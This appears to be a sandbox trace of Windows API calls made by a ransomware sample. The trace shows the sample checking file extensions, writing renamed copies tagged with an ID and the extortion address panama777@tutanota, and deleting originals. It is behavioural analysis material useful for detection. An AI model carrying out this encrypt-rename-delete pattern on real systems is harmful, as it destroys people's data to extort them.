	[0040.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.110] lstrlenW (lpString=".zip") returned 4
	[0040.110] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString=".rar") returned 4
	[0040.110] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString=".bz2") returned 4
	[0040.110] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString=".7z") returned 3
	[0040.110] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.110] lstrlenW (lpString=".dbf") returned 4
	[0040.110] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.110] lstrlenW (lpString=".1cd") returned 4
	[0040.110] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.110] lstrlenW (lpString=".jpg") returned 4
	[0040.111] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.111] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0040.111] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0040.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0040.762] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=31744) returned 1
	[0040.762] CloseHandle (hObject=0x178) returned 1
	[0040.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0040.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.762] lstrlenW (lpString=".doc") returned 4
	[0040.762] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.762] lstrlenW (lpString=".docx") returned 5
	[0040.762] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0040.762] lstrlenW (lpString=".pdf") returned 4
	[0040.762] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.762] lstrlenW (lpString=".xls") returned 4
	[0040.762] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString=".xlsx") returned 5
	[0040.763] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0040.763] lstrlenW (lpString=".ppt") returned 4
	[0040.763] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.763] lstrlenW (lpString=".zip") returned 4
	[0040.763] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString=".rar") returned 4
	[0040.763] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString=".bz2") returned 4
	[0040.763] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString=".7z") returned 3
	[0040.763] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.763] lstrlenW (lpString=".dbf") returned 4
	[0040.763] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.763] lstrlenW (lpString=".1cd") returned 4
	[0040.763] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.763] lstrlenW (lpString=".jpg") returned 4
	[0040.763] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.763] lstrlenW (lpString=".doc") returned 4
	[0040.763] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.763] lstrlenW (lpString=".docx") returned 5
	[0040.763] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0040.763] lstrlenW (lpString=".pdf") returned 4
	[0040.763] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString=".xls") returned 4
	[0040.764] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString=".xlsx") returned 5
	[0040.764] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0040.764] lstrlenW (lpString=".ppt") returned 4
	[0040.764] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.764] lstrlenW (lpString=".zip") returned 4
	[0040.764] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString=".rar") returned 4
	[0040.764] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString=".bz2") returned 4
	[0040.764] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString=".7z") returned 3
	[0040.764] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.764] lstrlenW (lpString=".dbf") returned 4
	[0040.764] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.764] lstrlenW (lpString=".1cd") returned 4
	[0040.764] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0040.764] lstrlenW (lpString=".jpg") returned 4
	[0040.764] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.764] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0040.765] lstrlenW (lpString="correct.avi") returned 11
	[0040.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0040.765] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=197120) returned 1
	[0040.765] CloseHandle (hObject=0x178) returned 1
	[0040.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0040.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.765] lstrlenW (lpString=".doc") returned 4
	[0040.765] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.765] lstrlenW (lpString=".docx") returned 5
	[0040.765] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0040.765] lstrlenW (lpString=".pdf") returned 4
	[0040.765] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.765] lstrlenW (lpString=".xls") returned 4
	[0040.765] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.765] lstrlenW (lpString=".xlsx") returned 5
	[0040.765] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0040.766] lstrlenW (lpString=".ppt") returned 4
	[0040.766] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.766] lstrlenW (lpString=".zip") returned 4
	[0040.766] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString=".rar") returned 4
	[0040.766] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString=".bz2") returned 4
	[0040.766] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString=".7z") returned 3
	[0040.766] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.766] lstrlenW (lpString=".dbf") returned 4
	[0040.766] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.766] lstrlenW (lpString=".1cd") returned 4
	[0040.766] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.766] lstrlenW (lpString=".jpg") returned 4
	[0040.766] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.766] lstrlenW (lpString=".doc") returned 4
	[0040.766] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString=".docx") returned 5
	[0040.766] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0040.766] lstrlenW (lpString=".pdf") returned 4
	[0040.766] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.766] lstrlenW (lpString=".xls") returned 4
	[0040.766] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.767] lstrlenW (lpString=".xlsx") returned 5
	[0040.767] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0040.767] lstrlenW (lpString=".ppt") returned 4
	[0040.767] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.767] lstrlenW (lpString=".zip") returned 4
	[0040.767] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.767] lstrlenW (lpString=".rar") returned 4
	[0040.767] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.767] lstrlenW (lpString=".bz2") returned 4
	[0040.767] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.767] lstrlenW (lpString=".7z") returned 3
	[0040.767] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.767] lstrlenW (lpString=".dbf") returned 4
	[0040.767] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.767] lstrlenW (lpString=".1cd") returned 4
	[0040.767] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0040.767] lstrlenW (lpString=".jpg") returned 4
	[0040.767] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.767] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0040.767] lstrlenW (lpString="delete.avi") returned 10
	[0040.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0040.768] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=224256) returned 1
	[0040.768] CloseHandle (hObject=0x178) returned 1
	[0040.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0040.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0040.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0040.769] lstrlenW (lpString=".doc") returned 4
	[0040.769] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.769] lstrlenW (lpString=".docx") returned 5
	[0040.769] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0040.769] lstrlenW (lpString=".pdf") returned 4
	[0040.769] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.769] lstrlenW (lpString=".xls") returned 4
	[0040.769] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.769] lstrlenW (lpString=".xlsx") returned 5
	[0040.769] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0040.769] lstrlenW (lpString=".ppt") returned 4
	[0040.769] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0040.769] lstrlenW (lpString=".zip") returned 4
	[0040.769] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.770] lstrlenW (lpString=".rar") returned 4
	[0040.770] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.770] lstrlenW (lpString=".bz2") returned 4
	[0040.770] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.770] lstrlenW (lpString=".7z") returned 3
	[0040.770] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0040.770] lstrlenW (lpString=".dbf") returned 4
	[0040.770] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0044.085] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.085] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0044.085] GetLastError () returned 0x0
	[0044.086] ReadFile (in: hFile=0x170, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x795, lpOverlapped=0x0) returned 1
	[0044.124] WriteFile (in: hFile=0x1c0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x7a0, lpOverlapped=0x0) returned 1
	[0044.125] ReadFile (in: hFile=0x170, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.125] WriteFile (in: hFile=0x1c0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0044.125] SetEndOfFile (hFile=0x1c0) returned 1
	[0044.125] CloseHandle (hObject=0x1c0) returned 1
	[0044.126] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.126] SetEndOfFile (hFile=0x170) returned 1
	[0044.127] CloseHandle (hObject=0x170) returned 1
	[0044.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.128] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1
	[0044.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.128] lstrlenW (lpString=".doc") returned 4
	[0044.128] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0044.128] lstrlenW (lpString=".docx") returned 5
	[0044.128] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1
	[0044.128] lstrlenW (lpString=".pdf") returned 4
	[0044.128] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0044.128] lstrlenW (lpString=".xls") returned 4
	[0044.128] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0044.128] lstrlenW (lpString=".xlsx") returned 5
	[0044.128] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1
	[0044.128] lstrlenW (lpString=".ppt") returned 4
	[0044.128] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0044.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.128] lstrlenW (lpString=".zip") returned 4
	[0044.128] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0044.128] lstrlenW (lpString=".rar") returned 4
	[0044.128] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0044.128] lstrlenW (lpString=".bz2") returned 4
	[0044.128] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0044.128] lstrlenW (lpString=".7z") returned 3
	[0044.128] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0044.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.129] lstrlenW (lpString=".dbf") returned 4
	[0044.129] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0044.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.129] lstrlenW (lpString=".1cd") returned 4
	[0044.129] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0044.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.129] lstrlenW (lpString=".jpg") returned 4
	[0044.129] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0044.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.129] lstrlenW (lpString=".doc") returned 4
	[0044.129] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0044.129] lstrlenW (lpString=".docx") returned 5
	[0044.129] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1
	[0044.129] lstrlenW (lpString=".pdf") returned 4
	[0044.129] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0044.129] lstrlenW (lpString=".xls") returned 4
	[0044.129] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0044.129] lstrlenW (lpString=".xlsx") returned 5
	[0044.129] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1
	[0044.129] lstrlenW (lpString=".ppt") returned 4
	[0044.129] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0044.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.129] lstrlenW (lpString=".zip") returned 4
	[0044.129] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0044.129] lstrlenW (lpString=".rar") returned 4
	[0044.129] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0044.129] lstrlenW (lpString=".bz2") returned 4
	[0044.129] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0044.129] lstrlenW (lpString=".7z") returned 3
	[0044.129] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0044.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.130] lstrlenW (lpString=".dbf") returned 4
	[0044.130] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0044.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.130] lstrlenW (lpString=".1cd") returned 4
	[0044.130] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0044.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71
	[0044.130] lstrlenW (lpString=".jpg") returned 4
	[0044.130] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0044.130] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.130] lstrlenW (lpString="AccessMUI.XML") returned 13
	[0044.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0044.131] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1349) returned 1
	[0044.131] CloseHandle (hObject=0x170) returned 1
	[0044.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20
	[0044.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0044.132] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.132] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
